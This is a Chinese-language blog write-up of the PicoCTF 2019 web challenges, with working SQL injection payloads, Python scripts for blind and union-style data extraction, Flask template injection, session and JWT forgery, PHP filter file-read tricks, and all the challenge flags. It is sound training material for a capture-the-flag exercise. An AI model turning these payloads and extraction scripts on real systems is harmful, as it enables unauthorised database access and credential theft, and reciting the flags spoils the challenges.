2019 PicoCTF Web部分 WriteUp

很基础的比赛,题目从易到难,比较适合新手入门。
基础题大部分还是去年那些题,不过今年怎么全是sql注入= =

Insp3ct0r

url : https://2019shell1.picoctf.com/problem/21519/
查看网页源码,flag分成三部分在注释中,全局搜索flag即可。

flag: picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?6c48064f}

dont-use-client-side

url: https://2019shell1.picoctf.com/problem/49886/
js本地校验,按顺序拼接回去即可。

flag: picoCTF{no_clients_plz_a67772}

logon

url: https://2019shell1.picoctf.com/problem/32270/
账号密码随便输入,登陆后查看cookie。

1
Cookie: password=admin; username=admin; admin=False

将cookie中的admin字段改成True即可。

flag: picoCTF{th3_c0nsp1r4cy_l1v3s_b056e2e6}

where are the robots

url: https://2019shell1.picoctf.com/problem/49824/
访问/robots.txt,得到:

1
2
User-agent: *
Disallow: /3663c.html

访问/3663c.html,得到flag。

flag: picoCTF{ca1cu1at1ng_Mach1n3s_3663c}

Client-side-again

url: https://2019shell1.picoctf.com/problem/21886/
依然是js本地校验,不过这个题加了混淆,去混淆以后即可。

随便找了个在线的平台= =
http://jsnice.org/
去混淆完的勉强能看(算了,还是自己再动手一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var func = ["getElementById", "value", "substring", "picoCTF{", "not_this", "15460}", "_again_9", "this", "Password Verified", "Incorrect password"];

var data = function(level, ai_test) {
/** @type {number} */
level = level - 0;
var rowsOfColumns = func[level];
return rowsOfColumns;
};

function verify() {
checkpass = document[data("0x0")]("pass")[data("0x1")];
split = 4;
if (checkpass[data("0x2")](0, split * 2) == data("0x3")) {
if (checkpass[data("0x2")](7, 9) == "{n") {
if (checkpass[data("0x2")](split * 2, split * 2 * 2) == data("0x4")) {
if (checkpass[data("0x2")](3, 6) == "oCT") {
if (checkpass[data("0x2")](split * 3 * 2, split * 4 * 2) == data("0x5")) {
if (checkpass["substring"](6, 11) == "F{not") {
if (checkpass[data("0x2")](split * 2 * 2, split * 3 * 2) == data("0x6")) {
if (checkpass[data("0x2")](12, 16) == data("0x7")) {
alert(data("0x8"));
}
}
}
}
}
}
}
} else {
alert(data("0x9"));
}
}
;

flag: picoCTF{not_this_again_915460}

Open-to-admins

url: https://2019shell1.picoctf.com/problem/21882/
This secure website allows users to access the flag only if they are admin and if the time is exactly 1400.

不知道这个题burp为什么一直重定向= =

1
2
document.cookie="admin=True";
document.cookie="time=1400";

访问/flag得到flag。

flag: picoCTF{0p3n_t0_adm1n5_ee7fd5bb}

picobrowser

url: https://2019shell1.picoctf.com/problem/49789/
This website can be rendered only by picobrowser, go and catch the flag!

header段添加

1
User-Agent: picobrowser

flag: picoCTF{p1c0_s3cr3t_ag3nt_65c3e4c1}

Irish-Name-Repo 1

url: https://2019shell1.picoctf.com/problem/4162
基础sql注入,万能密码一把梭。
payload:

1
admin'or 1= 1 --

flag: picoCTF{s0m3_SQL_7db6aa99}

Irish-Name-Repo 2

url: https://2019shell1.picoctf.com/problem/7411/
依然是sql注入,不过过滤了Or等关键字,然而后端写出锅了吧= =
payload:

1
admin' --

flag: picoCTF{m0R3_SQL_plz_4273553e}

Irish-Name-Repo 3

url: https://2019shell1.picoctf.com/problem/47247/
sql注入,还以为是跟去年一样的盲注,结果只是替换了字符串。
抓包发现debug参数,改成debug=1,即可看到sql查询语句。

payload:

1
password=' 0123456789_-abcdefghijklmnopqrstuvwxyz&debug=1

response:

1
2
password: ' 0123456789_-abcdefghijklmnopqrstuvwxyz
SQL query: SELECT * FROM admin where password = '' 0123456789_-nopqrstuvwxyzabcdefghijklm

发现只对字母进行了替换,不难得到替换表。

1
2
abcdefghijklmnopqrstuvwxyz
nopqrstuvwxyzabcdefghijklm

构造'or 1=1 --,根据替换表,得到'be 1=1 --
注入得到flag。

flag: picoCTF{3v3n_m0r3_SQL_8b232076}

Empire1

url: https://2019shell1.picoctf.com/problem/12234/
flask写的,还以为是模板注入,测试了下怎么是sql注入= =
fuzz,一个单引号直接500,两个单引号回显是一个单引号,猜测是Sqlite。
过滤/*-,也就是过滤了sqlite所有注释符号。
猜测sql语句如下:
insert into items(id,text) values(1234,'$item');
为了使单引号闭合,可以构造''+payload+'',使其闭合。然后由于加号只会计算数值,非数字部分会抛弃掉,需要将想获取的数据进行两次hex以后,才可正常回显,数据过长会导致以指数形式表示,所以要控制每次的获取数据的长度。
写了个脚本爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#-*- encoding: utf-8 -*-

import string
import requests
import random
import re
import binascii
from html.parser import HTMLParser

letters = string.ascii_letters + string.digits


class Flask(object):
def __init__(self):
self.s = requests.Session()
self.s.proxies = {
"http": "socks5://127.0.0.1:1080",
"https": "socks5://127.0.0.1:1080",
}
self.url = "https://2019shell1.picoctf.com/problem/12234"
self.username = "".join([random.choice(letters) for i in range(0x10)])
self.password = "".join([random.choice(letters) for i in range(0x10)])
self.regster()
self.login()

def regster(self):
path = "/register"
r = self.s.post(self.url + path, data={
'csrf_token': self.get_csrf_token(path),
'username': self.username,
'name': self.username,
'password': self.password,
'password2': self.password,
'submit': 'Register',
}, timeout=2)

def login(self):
path = '/login'
r = self.s.post(self.url + path, data={
'csrf_token': self.get_csrf_token(path),
'username': self.username,
'password': self.password,
'submit': 'Sign In',
}, timeout=2)

def get_csrf_token(self, path):
r = self.s.get(self.url + path, timeout=2)
csrf_token = re.search('<input id="csrf_token" name="csrf_token" type="hidden" value="(.*?)">', r.text)
if csrf_token:
return csrf_token.group(1)

def add_item(self, item):
path = '/add_item'
r = self.s.post(self.url + path, data={
'csrf_token': self.get_csrf_token(path),
'item': item,
'submit': 'Create',
}, timeout=2)
if r.status_code == 500:
return None
else:
rep = self.list_items()
return rep[-1]

def list_items(self):
r = self.s.get(self.url + '/list_items', timeout=2)
items = re.findall('<li>\\s*<strong>Very Urgent:</strong>\\s*(.*)\\s*</li>', r.text)
items = list(map(lambda x: HTMLParser().unescape(x).strip(), items))
return items


def brute_force(flask, payload):
result = ""
length = int(flask.add_item("'+length((%s))+'" % payload))
payload = "'+hex(hex(substr((%s),{},4)))+'" % payload
i = 1
while i <= length:
try:
rep = flask.add_item(payload.format(i))
#print(i, rep)
except:
rep = False

if rep:
result += binascii.unhexlify(binascii.unhexlify(rep).decode('utf-8')).decode('utf-8')
print(result)
i += 4
print("Result:", result)


def main():
f = Flask()
brute_force(f, "SELECT name FROM sqlite_master WHERE type='table'")
brute_force(f, "SELECT sql FROM sqlite_master WHERE type='table'")
brute_force(f, "SELECT admin FROM user WHERE username='%s'" % f.username)
brute_force(f, "SELECT secret FROM user WHERE username='%s'" % f.username)
while True:
payload = input("Payload: ")
try:
rep = f.add_item(payload)
except:
rep = False
print("Respone:", rep, end="\n\n")


if __name__ == '__main__':
main()

数据表结构如下:

1
2
3
4
5
6
7
8
9
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(64),
name VARCHAR(128),
password_hash VARCHAR(128),
secret VARCHAR(128),
admin INTEGER,
PRIMARY KEY (id)
)

secret字段就是flag。
flag: picoCTF{wh00t_it_a_sql_inject46527b2c}

Empire2

url: https://2019shell1.picoctf.com/problem/40536/
flask模板注入,没过滤直接搞。
payload:

1
{{config}}

假flag在SECRET_KEY中,picoCTF{your_flag_is_in_another_castle12345678}
md我还以为让人给搅屎了呢
真flag在session中,直接解密session即可(没key也能解密= =)

flag: picoCTF{its_a_me_your_flag786f93f7}

Empire3

url: https://2019shell1.picoctf.com/problem/49865/
还是flask模板注入,可以获取到SECRET_KEYce6a474e832ece298c50448e1feb069d
伪造session,最后在uid为2的用户处拿到flag。

flag: picoCTF{cookies_are_a_sometimes_food_e53b6d53}

JaWT Scratchpad

url: https://2019shell1.picoctf.com/problem/32267/
jwt伪造,一开始以为可以修改算法,进行none攻击,结果不行,只能爆破key。
然而这个key也太长了吧,爆破了好几个小时(还是rxz爆出来的
算力不够我有什么办法,流下了没钱的泪水

key: ilovepico
伪造jwt,将user改成admin(右转=> https://jwt.io/)

flag: picoCTF{jawt_was_just_what_you_thought_6ba7694bcc36bdd4fdaf010b2ec1c2c3}

cereal hacker 1

url: https://2019shell1.picoctf.com/problem/47283/
Login as admin.
队友扫出来一个弱密码,guest:guest。登陆后,发现cookie是一个序列化的对象。
编码规则如下:
urlencode(urlencode(base64_encode(serialize($object))))
解码后得到:
O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
猜测在username处可进行sql注入,尝试sleep。
payload: admin'and sleep(5) #
成功延时5s,存在sql注入漏洞。
然后开始了时间盲注的不归路 = =
注入爆出三个库(然后一个表都没有,)

1
2
3
hmenql`shnm^rbgdl`
ohbn^bg0
ohbn^bg1

爆了一天,什么都没爆出来= =
事实证明这三个库名都是错的。。
后面调试代码,发现使用大于进行二分时,>两侧必须有空格,不然报错,导致注入结果错误,使用小于则没有问题。同时,时间注入受网络影响较大,错误率还是挺高的。

最后试了试最开始用的万能密码,然后flag就出来了????(为什么一开始就没出来。。佛了)
payload:

1
2
3
admin' #
admin' -- (--后面有一个空格,没有空格不能识别注释符号)
admin' and 1=1 #

flag: picoCTF{71411d2f10372bccbdd499087b24084e}

PS: 这题也可以使用时间盲注把密码直接注出来,但是花费的时间会比较长= =
admin:9fa35d94931bba6e67711cbb336c8e0

cereal hacker 2

url: https://2019shell1.picoctf.com/problem/62195/
Get the admin's password.
上面那个题就试了好久的文件包含,结果什么也干不了。
看到/login.php?file=login,尝试读源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
///index.php?file=php://filter/convert.base64-encode/resource=index

<?php
if (isset($_GET['file'])) {
$file = $_GET['file'];
} else {
header('location: index.php?file=login');
die();
}
if (realpath($file)) {
die();
} else {
include('head.php');
if (!include($file . '.php')) {
echo 'Unable to locate ' . $file . '.php';
}
include('foot.php');
}
?>

///index.php?file=php://filter/convert.base64-encode/resource=admin
<?php
require_once('cookie.php');
if(isset($perm) && $perm->is_admin()){
?>

<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Welcome to the admin page!</h5>
<h5 style="color:blue" class="text-center">Flag: Find the admin's password!</h5>
</div>
</div>
</div>
</div>
</div>

</body>

<?php
}
else{
?>

<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">You are not admin!</h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>

</body>

<?php
}
?>

///index.php?file=php://filter/convert.base64-encode/resource=cookie
<?php

require_once('../sql_connect.php');

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
public $username;
public $password;

function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}

function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
//$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
die("SQL error");
}

$prepared->bind_param('ss', $this->username, $this->password);

if (!$prepared->execute()) {
die("SQL error");
}

if (!($result = $prepared->get_result())) {
die("SQL error");
}

$r = $result->fetch_all();
if($result->num_rows !== 1){
$is_admin_val = 0;
}
else{
$is_admin_val = (int)$r[0][0];
}

$sql_conn->close();
return $is_admin_val;
}
}

/* legacy login */
class siteuser
{
public $username;
public $password;

function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}

function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

$result = $sql_conn->query($q);
if($result->num_rows != 1){
$is_user_val = 0;
}
else{
$is_user_val = 1;
}

$sql_conn->close();
return $is_user_val;
}
}


if(isset($_COOKIE['user_info'])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
}
catch(Exception $except){
die('Deserialization error.');
}
}

?>


///index.php?file=php://filter/convert.base64-encode/resource=index
<?php
$sql_server = 'localhost';
$sql_user = 'mysql';
$sql_pass = 'this1sAR@nd0mP@s5w0rD#%';
$sql_conn = new mysqli($sql_server, $sql_user, $sql_pass);
$sql_conn_login = new mysqli($sql_server, $sql_user, $sql_pass);
?>

审计源码,不难发现cookie处仍存在反序列化。同时,permissions对象的SQL语句拼接已经修复,无法注入,但是siteuser对象仍使用字符串拼接构造sql查询语句,可进行sql注入。
根据admin.php的判断逻辑,用布尔盲注即可获得admin的密码。
写个脚本二分爆破即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#-*- encoding: utf-8 -*-
from urllib.parse import quote
import threading
import requests
import base64


session = requests.Session()
session.proxies = {
"http": "socks5://127.0.0.1:1080",
"https": "socks5://127.0.0.1:1080",
}


def send(payload):
url = "https://2019shell1.picoctf.com/problem/62195/index.php?file=admin"
payload = "admin" + payload
cookie = r'O:8:"siteuser":2:{s:8:"username";s:%d:"%s";s:8:"password";s:5:"guest";}' % (len(payload), payload)
cookie = base64.b64encode(cookie.encode('utf-8'))
cookie = quote(cookie)
# print(cookie)

try:
r = session.get(url, cookies={"user_info": cookie}, timeout=2.5)
except:
return False

if "Welcome to the admin page!" in r.text:
return True


def get_name(sql):
global end, name
char = 1
name = {}
payload = sql
while char:
end = False
thread_list = []
for i in range(8):
thread_list.append(threading.Thread(target=search, args=((0, 129, char + i, payload))))

threading.Semaphore(8)
for t in thread_list:
t.start()
for t in thread_list:
t.join()

char += 8
if end:
name = sorted(name.items(), key=lambda x: x[0])
print("".join([x[1] for x in name]))
break


def search(left, right, char, sql):
global end, name
mid = (left + right) // 2
if right != left + 1:
payload = sql % (char, mid)
rep = send(payload)
if rep:
search(left, mid, char, sql)
elif rep == None:
search(mid, right, char, sql)
elif right != 1:
#print(char, chr(mid))
name[char] = chr(mid)
else:
end = True
return


if __name__ == '__main__':
sql = "'AND (ASCII(SUBSTRING((SELECT password FROM pico_ch2.users WHERE username='admin'),%d,1))<%d)-- "
get_name(sql)

flag: picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}

Java Script Kiddie

url: https://2019shell1.picoctf.com/problem/49785/
页面很简单,主要就是一段js。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var bytes = [];
$.get("bytes", function(resp) {
bytes = Array.from(resp.split(" "), x => Number(x));
});

function assemble_png(u_in){
var LEN = 16;
var key = "0000000000000000";
var shifter;
if(u_in.length == LEN){
key = u_in;
}
var result = [];
for(var i = 0; i < LEN; i++){
shifter = key.charCodeAt(i) - 48;
for(var j = 0; j < (bytes.length / LEN); j ++){
result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
}
}
while(result[result.length-1] == 0){
result = result.slice(0,result.length-1);
}
document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
return false;
}

分析了一下源码,输入是key,每一位是一个偏移量用于解密。16字节一组,每次间隔16位从bytes中选取值作为每组的第i字节,起始位置由偏移量决定,最后构成一张png图片。已知一个完整的组的话,就可以去构造key。
图片中唯一可以确定的是png头,所以从png头入手,构造可能的key进行爆破。
png头:

1
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
var png = Array.from("89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52".split(" "), x => parseInt(x, 16));
var shifters = [];

function dfs(i, key){
for (var shifter = 0; shifter < 10; shifter++){
if (png[i] == bytes[((shifter * 16) % bytes.length) + i]){
//console.log(key + shifter.toString());
if (i == png.length - 1 && key.length == 15){
shifters.push(key + shifter.toString());
return;
}else if (i == png.length - 1){
return;
}
else{
dfs(i + 1, key + shifter.toString());
}
}
}
}
dfs(0, "");

function assemble_png(u_in){
var LEN = 16;
var key = "0000000000000000";
var shifter;
if(u_in.length == LEN){
key = u_in;
}
var result = [];
for(var i = 0; i < LEN; i++){
shifter = key.charCodeAt(i) - 48;
for(var j = 0; j < (bytes.length / LEN); j ++){
result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
}
}
while(result[result.length-1] == 0){
result = result.slice(0,result.length-1);
}
var oImgBox = document.createElement("img");
oImgBox.setAttribute("src", "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result))));
document.body.append(oImgBox);
return false;
}

for (var i = 0; i < shifters.length; i++){
assemble_png(shifters[i]);
}

key正确可以出来一张二维码,扫码得flag。
flag: picoCTF{5184e4f12d91ca0e13de639627b4bb6a}

Java Script Kiddie 2

url: https://2019shell1.picoctf.com/problem/12281/
跟上题一样的思路,只是这个题在每两位偏移量中间补了一位无效值作为填充,本质上跟上一个题没有区别,exp再跑一遍就好了= =
flag: picoCTF{3aa9bd64cb6883210ee0224baec2cbb4}


2019 PicoCTF Web部分 WriteUp
https://250.ac.cn/2019/09/28/2019-PicoCTF-WriteUp/
Author
惊蛰
Posted on
September 28, 2019
Licensed under